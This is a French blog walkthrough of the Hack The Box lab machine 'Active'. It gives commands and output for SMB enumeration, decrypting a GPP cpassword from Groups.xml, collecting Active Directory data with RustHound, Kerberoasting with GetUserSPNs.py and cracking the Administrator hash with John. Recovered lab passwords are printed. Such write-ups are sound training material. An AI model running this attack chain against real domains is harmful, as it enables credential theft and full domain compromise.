Catégories
HackTheBox Machines

HTB{Active}

La machine Active sur Hack The Box offre une introduction passionnante à l’exploitation d’Active Directory, révélant des techniques cruciales pour pénétrer les systèmes Windows via la découverte de fichiers vulnérables.

La machine Active est une machine Facile sur Hack The Box qui introduit les bases de l’exploitation d’un Active Directory dans un environnement Windows.

L’attaque repose sur la découverte de fichiers accessibles en lecture dans un partage réseau, qui permettent ensuite d’exploiter des fonctionnalités propres à Active Directory pour obtenir un accès privilégié.

Cette machine est une bonne introduction aux techniques couramment utilisées lors d’un pentest Windows en entreprise.

Enumeration

L’étape initiale consiste à effectuer un scan Nmap pour identifier les services ouverts sur la machine Active.

Je commence par un scan complet des ports avec détection des services et des scripts agressifs pour avoir un maximum d’informations sur la machine :

nmap -sS -sV -A -T5 -p- 10.129.5.89

La machine tourne sous Windows Server 2008 R2 SP1 et semble être un contrôleur de domaine Active Directory. Plusieurs services intéressants sont exposés :

  • 53 (DNS) → Potentiellement utile pour récupérer des enregistrements du domaine.
  • 88 (Kerberos) → Présence de Kerberos
  • 135 (RPC), 139/445 (SMB) → SMB actif, il faut vérifier les partages accessibles.
  • 389/636 (LDAP/LDAPS) → LDAP disponible, potentiellement utile pour récupérer des informations sur les utilisateurs et groupes AD.
  • 3268/3269 (Global Catalog) → Permet de récupérer des objets AD via LDAP.
  • 49152-49168 (MSRPC) → Ports classiques pour l’administration Windows à distance.

En testant l’accès à SMB, je remarque que l’authentification anonyme est autorisée, ce qui me permet de lister les partages disponibles :

netexec smb 10.129.5.89 -u "" -p "" --shares
SMB         10.129.5.89     445    DC               [*] Windows 7 / Server 2008 R2 Build 7601 x64 (name:DC) (domain:active.htb) (signing:True) (SMBv1:False)
SMB         10.129.5.89     445    DC               [+] active.htb\:
SMB         10.129.5.89     445    DC               [*] Enumerated shares
SMB         10.129.5.89     445    DC               Share           Permissions     Remark
SMB         10.129.5.89     445    DC               -----           -----------     ------
SMB         10.129.5.89     445    DC               ADMIN$                          Remote Admin
SMB         10.129.5.89     445    DC               C$                              Default share
SMB         10.129.5.89     445    DC               IPC$                            Remote IPC
SMB         10.129.5.89     445    DC               NETLOGON                        Logon server share
SMB         10.129.5.89     445    DC               Replication     READ
SMB         10.129.5.89     445    DC               SYSVOL                          Logon server share
SMB         10.129.5.89     445    DC               Users


Un partage peux être lu. Replication.

smbclientng -d "inlanefreight.local"  -u "" -p "" --host "10.129.5.89"
               _          _ _            _
 ___ _ __ ___ | |__   ___| (_) ___ _ __ | |_      _ __   __ _
/ __| '_ ` _ \| '_ \ / __| | |/ _ \ '_ \| __|____| '_ \ / _` |
\__ \ | | | | | |_) | (__| | |  __/ | | | ||_____| | | | (_| |
|___/_| |_| |_|_.__/ \___|_|_|\___|_| |_|\__|    |_| |_|\__, |
    by @podalirius_                             v2.1.7  |___/

[+] Successfully authenticated to '10.129.5.89' as 'inlanefreight.local\'!
[error] SIDResolver could not be initialized: SMB SessionError: STATUS_ACCESS_DENIED({Access Denied} A process has requested access to an object but has not been granted those a
ccess rights.)
■[\\10.129.5.89\]> ls
[error] You must open a share first, try the 'use <share>' command.
■[\\10.129.5.89\]> shares
┏━━━━━━━━━━━━━┳━━━━━━━━━━━━┳━━━━━━━━━━━━━━━━━━━┳━━━━━━━━━━━━━━━━━━━━━┓
┃ Share       ┃ Visibility ┃ Type              ┃ Description         ┃
┡━━━━━━━━━━━━━╇━━━━━━━━━━━━╇━━━━━━━━━━━━━━━━━━━╇━━━━━━━━━━━━━━━━━━━━━┩
│ ADMIN$      │ Hidden     │ DISKTREE, SPECIAL │ Remote Admin        │
│ C$          │ Hidden     │ DISKTREE, SPECIAL │ Default share       │
│ IPC$        │ Hidden     │ IPC, SPECIAL      │ Remote IPC          │
│ NETLOGON    │ Visible    │ DISKTREE          │ Logon server share  │
│ Replication │ Visible    │ DISKTREE          │                     │
│ SYSVOL      │ Visible    │ DISKTREE          │ Logon server share  │
│ Users       │ Visible    │ DISKTREE          │                     │
└─────────────┴────────────┴───────────────────┴─────────────────────┘
■[\\10.129.5.89\]> use Replication
■[\\10.129.5.89\Replication\]> ls
d-------     0.00 B  2018-07-21 12:37  .\
d-------     0.00 B  2018-07-21 12:37  ..\
d-------     0.00 B  2018-07-21 12:37  active.htb\
■[\\10.129.5.89\Replication\]> cd active.htb/
■[\\10.129.5.89\Replication\active.htb\]> ls
d-------     0.00 B  2018-07-21 12:37  .\
d-------     0.00 B  2018-07-21 12:37  ..\
d--h--s-     0.00 B  2018-07-21 12:37  DfsrPrivate\
d-------     0.00 B  2018-07-21 12:37  Policies\
d-------     0.00 B  2018-07-21 12:37  scripts\

tree
├── Group Policy/
│   └── GPE.INI
├── MACHINE/
│   ├── Microsoft/
│   │   └── Windows NT/
│   │       └── SecEdit/
│   │           └── GptTmpl.inf
│   ├── Preferences/
│   │   └── Groups/
│   │       └── Groups.xml
│   └── Registry.pol
├── USER/
└── GPT.INI
  • Le dossier DfsrPrivate est caché et système (h = hidden, s = system), ce qui signifie qu’il est utilisé en interne par DFS Replication et ne devrait normalement pas contenir de fichiers directement exploitables.
  • Le dossier Policies est intéressant : il peut contenir des fichiers de stratégie de groupe (GPO) qui parfois révèlent des informations sensibles.
  • Le dossier scripts pourrait contenir des fichiers exécutés automatiquement sur les machines du domaine.


En explorant le partage Replication, un fichier intéressant a été trouvé:

cat MACHINE/Preferences/Groups/Groups.xml
<?xml version="1.0" encoding="utf-8"?>
<Groups clsid="{3125E937-EB16-4b4c-9934-544FC6D24D26}"><User clsid="
{DF5F1855-51E5-4d24-8B1A-D9BDE98BA1D1}" name="active.htb\SVC_TGS"
image="2" changed="2018-07-18 20:46:06" uid="{EF57DA28-5F69-4530-A59E-
AAB58578219D}"><Properties action="U" newName="" fullName=""
description=""
cpassword="edBSHOwhZLTjt/QS9FeIcJ83mjWA98gw9guKOhJOdcqh+ZGMeXOsQbCpZ3xUjTL
fCuNH8pG5aSVYdYw/NglVmQ" changeLogon="0" noChange="1" neverExpires="1"
acctDisabled="0" userName="active.htb\SVC_TGS"/></User>
</Groups>

Ce fichier contient une entrée pour un utilisateur SVC_TGS, avec un mot de passe chiffré dans la balise cpassword

Ce type de fichier est typiquement utilisé dans les préférences de groupe GPP sous Active Directory, et il est connu pour stocker les mots de passe en chiffrement réversible avec AES-256, dont la clé est publique.

Le mot de passe peut être facilement récupéré avec la clé AES statique de Microsoft. Pour cela, on utilise gpp-decrypt :

python gpp-decrypt.py -f ../Groups.xml
__ __
___ _ ___ ___ ____ ___/ / ___ ____ ____ __ __ ___ / /_
/ _ `/ / _ \ / _ \/___// _ / / -_)/ __/ / __/ / // / / _ \/ __/
\_, / / .__/ / .__/ \_,_/ \__/ \__/ /_/ \_, / / .__/\__/
/___/ /_/ /_/ /___/ /_/
[ * ] Username: active.htb\SVC_TGS
[ * ] Password: GPPstillStandingStrong2k18

Après déchiffrement du mot de passe stocké dans Groups.xml, nous obtenons les identifiants de SVC_TGS, permettant de pouvoir énumerer de l’Active Directory.

Avec les identifiants récupérés ( SVC_TGS), j’utilise RustHound pour collecter des informations sur l’Active Directory. RustHound est une alternative à SharpHound pour récupérer les relations entre les utilisateurs, groupes et machines du domaine.

rusthound -d active.htb -u SVC_TGS -p "GPPstillStandingStrong2k18" -i
dc.active.htb -z --fqdn-resolver
---------------------------------------------------
Initializing RustHound at 09:03:00 on 02/25/25
Powered by g0h4n from OpenCyber
---------------------------------------------------
[2025-02-25T08:03:00Z INFO rusthound] Verbosity level: Info
[2025-02-25T08:03:00Z INFO rusthound::ldap] Connected to ACTIVE.HTB
Active Directory!
[2025-02-25T08:03:00Z INFO rusthound::ldap] Starting data collection...
[2025-02-25T08:03:01Z INFO rusthound::ldap] All data collected for
NamingContext DC=active,DC=htb
[2025-02-25T08:03:01Z INFO rusthound::json::parser] Starting the LDAP
objects parsing...
[2025-02-25T08:03:01Z INFO rusthound::json::parser::bh_41]
MachineAccountQuota: 10
[2025-02-25T08:03:01Z INFO rusthound::json::parser] Parsing LDAP objects
finished!
[2025-02-25T08:03:01Z INFO rusthound::json::checker] Starting checker to
replace some values...
[2025-02-25T08:03:01Z INFO rusthound::json::checker] Checking and
replacing some values finished!
[2025-02-25T08:03:01Z INFO rusthound::modules::resolver::resolv]
Resolving FQDN to IP address started...
[2025-02-25T08:03:01Z INFO rusthound::modules::resolver::resolv]
Resolving FQDN to IP address finished!
[2025-02-25T08:03:01Z INFO rusthound::json::maker] 5 users parsed!
[2025-02-25T08:03:01Z INFO rusthound::json::maker] 49 groups parsed!
[2025-02-25T08:03:01Z INFO rusthound::json::maker] 1 computers parsed!
[2025-02-25T08:03:01Z INFO rusthound::json::maker] 1 ous parsed!
[2025-02-25T08:03:01Z INFO rusthound::json::maker] 1 domains parsed!
[2025-02-25T08:03:01Z INFO rusthound::json::maker] 2 gpos parsed!
[2025-02-25T08:03:01Z INFO rusthound::json::maker] 21 containers parsed!
[2025-02-25T08:03:01Z INFO rusthound::json::maker]
.//20250225090301_active-htb_rusthound.zip created!
RustHound Enumeration Completed at 09:03:01 on 02/25/25! Happy Graphing!

L’analyse de BloodHound révèle que le compte Administrator est Kerberoastable. Celui-ci possède un SPN associé :

Ce SPN indique que le compte Administrator est lié à un service accessible via Kerberos, ce qui ouvre la possibilité d’extraire un ticket Kerberos pour tenter de le compromettre.

L’exécution de la commande GetUserSPNs.py confirme que le compte Administrator est Kerberoastable :

GetUserSPNs.py -outputfile Kerberoastables.txt -dc-ip "10.129.5.89"
"active.htb"/SVC_TGS:'GPPstillStandingStrong2k18'
Impacket v0.12.0 - Copyright Fortra, LLC and its affiliated companies
ServicePrincipalName Name MemberOf
PasswordLastSet LastLogon Delegation
-------------------- ------------- -------------------------------------
------------------- -------------------------- -------------------------
- ----------
active/CIFS:445 Administrator CN=Group Policy Creator
Owners,CN=Users,DC=active,DC=htb 2018-07-18 21:06:40.351723 2025-02-25
08:38:32.638939
[-] CCache file is not found. Skipping...

Après l’extraction du ticket Kerberos de l’Administrator, nous lançons JohnTheRipper pour tenter de récupérer le mot de passe.

Le hash est rapidement craqué, révélant un mot de passe en clair.

john Kerberoastables.txt -w=/opt/rockyou.txt
Using default input encoding: UTF-8
Loaded 1 password hash (krb5tgs, Kerberos 5 TGS-REP etype 23 [MD4 HMAC-MD5
RC4])
Will run 8 OpenMP threads
Press 'q' or Ctrl-C to abort, 'h' for help, almost any other key for
status
Ticketmaster1968 (?)
1g 0:00:00:03 DONE (2025-02-25 09:16) 0.3300g/s 3478Kp/s 3478Kc/s 3478KC/s
Tiffani143..Thehulk2008
Use the "--show" option to display all of the cracked passwords reliably
Session completed.

Ayant un mot de passe faible, le compte Administrator est maintenant compromis.

Laisser un commentaire

Votre adresse e-mail ne sera pas publiée. Les champs obligatoires sont indiqués avec *